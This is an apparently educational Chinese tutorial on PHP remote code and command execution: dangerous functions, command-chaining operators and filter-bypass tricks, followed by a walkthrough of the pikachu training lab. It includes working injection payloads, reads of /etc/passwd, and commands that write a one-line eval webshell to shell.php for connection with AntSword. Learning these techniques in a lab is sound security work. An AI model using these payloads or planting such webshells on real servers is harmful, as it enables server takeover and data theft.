RCE远程代码/命令执行基础讲解

危害

攻击者可直接向后台服务器注入恶意命令 ,依托 Web 服务程序权限执行 系统指令、读写 服务器文件;还可通过反弹 Shell 获取服务器控制权 ,以此开展内网渗透,横向拓展攻击范围。

漏洞原理

不正确的输入验证:未对用户的输入进行有效合法的校验,导致攻击者可以通过恶意注入,执行任意代码。

不安全的代码开发:程序员在开发的时候,未发现代码存在逻辑缺陷或设计错误,导致攻击者可以通过这些漏洞执行恶意代码或破坏业务逻辑。

不安全的文件上传(间接执行命令):未对上传文件的类型和内容进行校验,导致含有恶意代码命令的文件上传至服务器,进而控制服务器。

代码/命令执行区分

|------------------|---------------------------------------------------|----------------------------------------------------------------|
| 对比维度 | 代码执行 | 命令执行 |
| 利用门槛 & 挖掘方式 | 多依赖白盒 / 代码审计,黑盒难以探测; 常见于源码泄露、二次开发后台、模板漏洞场景 | 黑盒渗透高频,覆盖面广; 存在 ping 检测、域名查询、路由测试、备份压缩、调用系统工具等功能点时,可直接 Fuzz 测试 |
| Payload 特征 | 随编程语言变化,针对性强PHP 示例: phpinfo();@eval($_POST[x]); | 依靠命令拼接符构造拼接符: ; | & && || 系统通用指令: whoami、id、ipconfig、ls |

远程代码执行漏洞

业务需求需要调用一些执行命令函数 ,用户可控输入的参数未经有效过滤,导致攻击者可以注入恶意代码,实现代码执行。

常见的危险函数:eval(); assert(); preg_replace(); create_function();

eval

执行字符串中的php代码,需要;结尾,用户输入未过滤的参数后即可当作代码执行。

复制代码
<?php @eval($_POST['cmd']);?>
// cmd=phpinfo();
// cmd=system('whoami');

assert

执行字符串中的php代码,不需要以;结尾

复制代码
<?php @assert($_POST['cmd']);?>
// cmd=phpinfo()
// cmd=system('whoami')

preg_replace

preg_replace ( pattern , replacement , $subject )

特殊记忆:preg_replace("流氓","专家","我是一个全球知名的流氓!") --> 我是一个全球知名的专家!

执行一个正则表达式的搜索和替换,搜索subject中匹配pattern的部分,然后用replacement进行替换。使用**/E** 修饰符的时候,替换的内容会被当作php的代码执行

复制代码
<?php preg_replace("/^test/E",$_POST['cmd'],"test123");?>
// cmd=system('id');
// cmd=phpinfo();
// file_put_contents('shell.php',<?php @eval($_POST['cmd']);?>);

array_map

为数组的每个元素应用回调函数

array_map(myfunction,array1,array2,array3,...)

myfunction:回调函数

array :要处理的数组

复制代码
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;
// --------------------------------------------------
GET /test.php?FUNC=system&cmd=cat/etc/passwd
// array_map('system',['cat/etc/passwd'])

create_function

create_function函数会创建一个匿名函数lambda,内部实现本质就是拼接字符串,然后用EVAL执行他接受的两个字符串参数 create_function(string args, string code)

fuction __lambda_func($args){

$code

}

$args 是函数的参数列表

$code直接插入到函数体的位置,code可以是任意的PHP语句

复制代码
$a=$_GET['a'];
$b=$_GET['b'];
$a('',$b);
// --------------------------------------------------
a=create_fuction&b=}system('cat /tmp/key.txt');/*
fuction __lambda_func(){
    }system('cat /tmp/key.txt');/*
}

call_user_func

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数

复制代码
call_user_func("assert",$_POST['cmd'])  

// assert($_POST['cmd'])

远程命令执行漏洞

|--------------|-----------|--------|---------|--------|
| 函数 | 返回值 | 获取完整输出 | 获取返回状态码 | 是否自动输出 |
| exec | 最后一行(字符串) | 数组(引用) | 支持 | 否 |
| shell_exec | 完整输出(字符串) | 直接得到 | 不支持 | 否 |
| system | 最后一行(字符串) | 直接输出 | 支持 | 是 |

命令拼接

|

直接执行后面的语句

||

前面的语句正确,后面不执行;前面语句错误的话,则执行后面的语句

&

前后的语句均可执行,但是前面语句如果执行失败,那么就输出后面的语句

&&

前后的语句均可执行,但是前面语句如果执行失败,后面的语句也不会去执行

命令过滤绕过

windows绕过

linux绕过

命令绕过
正常命令

cat more less head tail sort diff被过滤

strings

主要是用于二进制文件中提取可打印字符串的工具,可以提取、显示文件中可打印字符串,经常用于分析二进制文件、调式、逆向

bash

主要需要去执行命令,但是如果找不到后面要执行的命令,也会将我们的文件信息输出出来

v = verbose:读一行、打印一行,先把脚本原文输出,再执行

会把注释、空行也原样打出来

curl

主要是发起网络请求,请求资源去下载,但是除了支持 http 协议,还支持 file 协议

sed

通过正则表达式对文件实现快速增删改查,过滤和取行

-n:只打印指定行

-p:指定行打印

awk

主要是对文本进行复杂处理

赋值

a="c"&&b="at"&&ab key.flag

echo

将cat转换成base64编码格式使用

特殊绕过
cat绕过
空格绕过

<> 单独的>不可以绕过

文件名绕过
/路径绕过

${HOME:0:1} -> /

$(echo . |tr '!-0' '"-1') -> /

漏洞防护

1.禁用高危的函数

2.输入的验证和过滤

白名单验证:定制允许的字符或者命令列表

严格过滤:检测用户输入中的特殊字符和命令连接符

参数化的管理:避免直接拼接用户的输入到命令中

3.其他的防护方法

使用最小权限原则去运行WEB服务

定期更新 ,打补丁

使用一些安全的替代函数

pikachu靶场RCE漏洞通关练习

1.exec "ping" 远程命令执行

第一步:输入IP地址

打开关卡,输入框上方提示输入目标ip地址

第二步:远程命令执行

基础知识

依靠命令拼接符构造拼接符: ; | || & &&

常用指令: whoami、id、ipconfig、ls

|

直接执行后面的语句

||

前面的语句正确,后面不执行;前面语句错误的话,则执行后面的语句

&

前后的语句均可执行,但是前面语句如果执行失败,那么就输出后面的语句

&&

前后的语句均可执行,但是前面语句如果执行失败,后面的语句也不会去执行

实际使用

这里输入一句话木马,并保存为shell.php

使用ls查看,发现成功上传

127.0.0.1 | echo '<?php @eval($_POST'cmd'); ?>' > shell.php

这里使用 蚁剑 进行连接,输入连接密码cmd后,测试成功连接

2.exec "eval" 远程代码执行

第一步:输入正常数据

第二步:输入php代码

尝试输入php代码,简单验证。

echo 123; 正常输出123

使用system()命令函数,可以使php执行其内部的命令

这里输入一句话木马,并保存为shell.php

使用system('ls')查看,发现成功上传

system("echo '<?php eval(\$_POSTx);?>' > shell.php");

这里使用蚁剑进行连接,输入连接密码x后,测试成功连接

相关推荐
CHENKONG_CK18 小时前
晨控CK-FR102ANS-EIP与基恩士KVX520系列PLC配置EtherNet/IP通讯连接手册
网络
草根站起来19 小时前
“双算法SSL证书”伪方案、国产SSL证书营销话术与等保绑定乱象批判
网络·网络协议·ssl
Bobolink_19 小时前
跨境业务网络环境评估,“干净、一致、独享”三个关键指标
开发语言·网络·php·跨境网络·网络环境
其实防守也摸鱼19 小时前
运维--怎么看接口的请求和返回
运维·学习·网络安全·网络攻击模型·burpsuite·攻防对抗·蓝队
humors22119 小时前
【分享】火绒恶意网址自定义规则,根据互联网应急中心部分威胁预警恶意代码制作
网络·安全·规则·火绒安全·恶意网址·应急中心
广州灵眸科技有限公司21 小时前
瑞芯微RV1126B开发板(EASY-EAI-PI2) INI文件操作
java·前端·javascript·网络·人工智能
星恒讯工业路由器1 天前
VLAN在工业网络中为何越来越重要
网络·信息与通信·vlan·交换机·工业网络·网络隔离
rcms152702692181 天前
HITEK A1052100N-01 以太网端口模块
网络
KaMeidebaby1 天前
卡梅德生物技术快报|抗体合成:多肽抗体合成工程化方案:Nsp2 保守肽多抗制备与多维度验证
前端·网络·数据库·人工智能·算法
her_heart1 天前
把 ChatGPT 5.6 放进需求评审和测试设计之后,我反而减少了“一次成稿”的期待
网络·人工智能·网络协议·chatgpt·测试用例